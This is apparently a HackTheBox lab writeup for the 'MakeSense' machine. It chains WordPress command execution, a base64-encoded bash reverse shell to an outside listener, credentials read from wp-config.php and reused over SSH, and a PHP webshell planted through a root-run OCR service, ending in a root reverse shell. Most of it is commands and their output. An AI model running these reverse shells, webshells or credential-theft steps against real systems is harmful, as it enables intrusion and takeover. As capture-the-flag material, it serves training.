October 28, 2026
MakeSense — HackTheBox Writeup (Season 11)
Machine: makesense.htb · OS: Linux · Difficulty: Medium

By M3H47D1
3 min read
Summary
This box chains a straightforward WordPress RCE with credential reuse for lateral movement, and finishes with a creative privilege escalation: a locally-bound internal OCR service that blindly trusts its Tesseract output, allowing a PHP webshell to be written and executed with root privileges.
1. Reconnaissance
Initial enumeration of the web service (makesense.htb) revealed a WordPress installation vulnerable to remote command execution via a cmd parameter exposed by a misconfigured plugin/feature.
curl -sk "https://makesense.htb/" -b hacker_cookies2.txt \
-G --data-urlencode 'cmd=id'curl -sk "https://makesense.htb/" -b hacker_cookies2.txt \
-G --data-urlencode 'cmd=id'Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)uid=33(www-data) gid=33(www-data) groups=33(www-data)Command execution confirmed as www-data.
2. Foothold — Reverse Shell
Troubleshooting
Several standard reverse shell attempts (bash, netcat, Python with nested quotes) failed silently. Diagnosis revealed two separate issues:
- Broken quote escaping — commands sent via the server's
system()call were being interpreted by/bin/sh(dash), notbash. Nested quotes triggered aBad fd numbererror, since dash doesn't support/dev/tcp/...syntax. - Blocking process — without explicit backgrounding (&), the web server killed the child process before the reverse shell connection could establish.
Working solution
Base64-encoding the payload avoided all escaping issues, then decoding and executing it explicitly via bash:
PAYLOAD='bash -i >& /dev/tcp/10.10.16.229/4444 0>&1'
echo -n "$PAYLOAD" | base64 -w0PAYLOAD='bash -i >& /dev/tcp/10.10.16.229/4444 0>&1'
echo -n "$PAYLOAD" | base64 -w0Sending the encoded payload:
curl -sk "https://makesense.htb/" -b hacker_cookies2.txt \
-G --data-urlencode \
'cmd=echo <BASE64_PAYLOAD> | base64 -d | bash'curl -sk "https://makesense.htb/" -b hacker_cookies2.txt \
-G --data-urlencode \
'cmd=echo <BASE64_PAYLOAD> | base64 -d | bash'Listener on the attacker side:
nc -lvnp 4444nc -lvnp 4444Result: connection received, interactive shell obtained as www-data in /var/www/html (confirmed WordPress install).
3. Post-Exploitation Enumeration
WordPress database credentials
Reading wp-config.php revealed credentials reused for a local system account:
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );Lateral movement — SSH
The discovered credentials worked for a direct SSH login:
ssh walter@makesense.htbssh walter@makesense.htbAccess confirmed, user flag retrieved:
cat user.txtcat user.txt4. Privilege Escalation
Standard vector enumeration
The usual checks came up empty:
sudo -l→ no sudo rights for waltergetcap -r /→ nothing exploitable- SUID binaries → nothing abnormal
Process listing, however, revealed an internal PHP service running as root:
root 1315 /bin/sh -c /root/.scripts/start_ocr4.sh
root 1317 /bin/bash /root/.scripts/start_ocr4.sh
root 1368 php -S 127.0.0.1:8001 -t /root/ocr4/root 1315 /bin/sh -c /root/.scripts/start_ocr4.sh
root 1317 /bin/bash /root/.scripts/start_ocr4.sh
root 1368 php -S 127.0.0.1:8001 -t /root/ocr4/This service, named MakeSense, is a local web app (not externally exposed) that lets you draw text on an HTML5 canvas and get it recognized via Tesseract OCR, with a feature to save the result to a file.
Accessing the internal service
Since the service was bound to 127.0.0.1:8001, an SSH tunnel provided access from the attacking machine:
ssh -L 8001:127.0.0.1:8001 walter@makesense.htbssh -L 8001:127.0.0.1:8001 walter@makesense.htbThe service's HTTP Basic Auth accepted the same credentials as walter (password reuse again).
Understanding the application flow
- The user draws a word on a
<canvas>. - The canvas is exported as a PNG (base64 data URL) and sent via
POSTin thecanvas_imageparameter. - The server runs Tesseract on the image and returns the recognized text, along with a unique
ocr_id. - A second form lets you save that text to a file, via the
ocr_id,filename, andsave_outputparameters.
Path traversal attempt
A first classic traversal attempt on the filename parameter failed: the server clearly applies a systematic basename(), keeping only the final filename regardless of the path supplied.
filename=../../../../tmp/traversal_test.txt
=> Saved as: saved/traversal_test.txt
filename=/tmp/abs_test.txt
=> Saved as: saved/abs_test.txtfilename=../../../../tmp/traversal_test.txt
=> Saved as: saved/traversal_test.txt
filename=/tmp/abs_test.txt
=> Saved as: saved/abs_test.txtTakeaway: the write location can't be controlled, but the file name and extension are completely unrestricted — notably .php is not filtered.
filename=test.php
=> Saved as: saved/test.phpfilename=test.php
=> Saved as: saved/test.phpConfirming that this directory is served by the PHP built-in server and therefore executed as code:
curl -s -u walter:'<password>' http://127.0.0.1:8001/saved/test.php
TESTcurl -s -u walter:'<password>' http://127.0.0.1:8001/saved/test.php
TESTThe content (raw OCR text, no PHP tags) is returned as-is — confirming the file is indeed interpreted by PHP, just with no <?php ?> tags present in this first test.
Exploitation vector
Since the write location couldn't be hijacked, the idea was to hijack the content instead by controlling what Tesseract recognizes: instead of drawing by hand, a PNG image was generated locally containing PHP code in a standard font — far more reliable for OCR than a hand-drawn trace.
convert -size 700x150 xc:white -pointsize 28 -fill black \
-gravity center -annotate +0+0 \
'<?php system($_GET["c"]); ?>' /tmp/payload.pngconvert -size 700x150 xc:white -pointsize 28 -fill black \
-gravity center -annotate +0+0 \
'<?php system($_GET["c"]); ?>' /tmp/payload.pngSending the image to the OCR service:
B64=$(base64 -w0 /tmp/payload.png)
curl -s -c cookies.txt -b cookies.txt -X POST \
"http://127.0.0.1:8001/" -u walter:'<password>' \
--data-urlencode "canvas_image=data:image/png;base64,$B64" \
-o result.htmlB64=$(base64 -w0 /tmp/payload.png)
curl -s -c cookies.txt -b cookies.txt -X POST \
"http://127.0.0.1:8001/" -u walter:'<password>' \
--data-urlencode "canvas_image=data:image/png;base64,$B64" \
-o result.htmlTesseract recognized the text with perfect accuracy:
<?php system($_GET["c"]); ?><?php system($_GET["c"]); ?>Technical note: the ocr_id parameter is tied to the PHP session (PHPSESSID cookie) and is single-use. A cookie jar must be preserved between the recognition request and the save request (-c/-b with curl).
Writing the webshell
Grabbing the ocr_id and saving the result as a PHP file:
OCR_ID=$(grep -oP '(?<=name="ocr_id" value=").*?(?=")' result.html)
curl -s -c cookies.txt -b cookies.txt -X POST \
"http://127.0.0.1:8001/" -u walter:'<password>' \
--data-urlencode "ocr_id=$OCR_ID" \
--data-urlencode "filename=shell.php" \
--data-urlencode "save_output=" \
-o save_result.htmlOCR_ID=$(grep -oP '(?<=name="ocr_id" value=").*?(?=")' result.html)
curl -s -c cookies.txt -b cookies.txt -X POST \
"http://127.0.0.1:8001/" -u walter:'<password>' \
--data-urlencode "ocr_id=$OCR_ID" \
--data-urlencode "filename=shell.php" \
--data-urlencode "save_output=" \
-o save_result.htmlResult: Saved as: saved/shell.php
Root code execution
curl -s -c cookies.txt -b cookies.txt -u walter:'<password>' \
"http://127.0.0.1:8001/saved/shell.php?c=id"curl -s -c cookies.txt -b cookies.txt -u walter:'<password>' \
"http://127.0.0.1:8001/saved/shell.php?c=id"Result:
uid=0(root) gid=0(root) groups=0(root)uid=0(root) gid=0(root) groups=0(root)Since the internal PHP service (php -S 127.0.0.1:8001 -t /root/ocr4/) runs with root privileges, the webshell inherits those same privileges.
Root reverse shell
A full reverse shell was then obtained through the webshell:
curl -s -c cookies.txt -b cookies.txt -u walter:'<password>' \
"http://127.0.0.1:8001/saved/shell.php" -G \
--data-urlencode \
"c=bash -c 'bash -i >& /dev/tcp/10.10.16.229/4445 0>&1' &"curl -s -c cookies.txt -b cookies.txt -u walter:'<password>' \
"http://127.0.0.1:8001/saved/shell.php" -G \
--data-urlencode \
"c=bash -c 'bash -i >& /dev/tcp/10.10.16.229/4445 0>&1' &"Listener:
nc -lvnp 4445nc -lvnp 4445Result:
root@makesense:~# whoami
root
root@makesense:~# cat root.txtroot@makesense:~# whoami
root
root@makesense:~# cat root.txt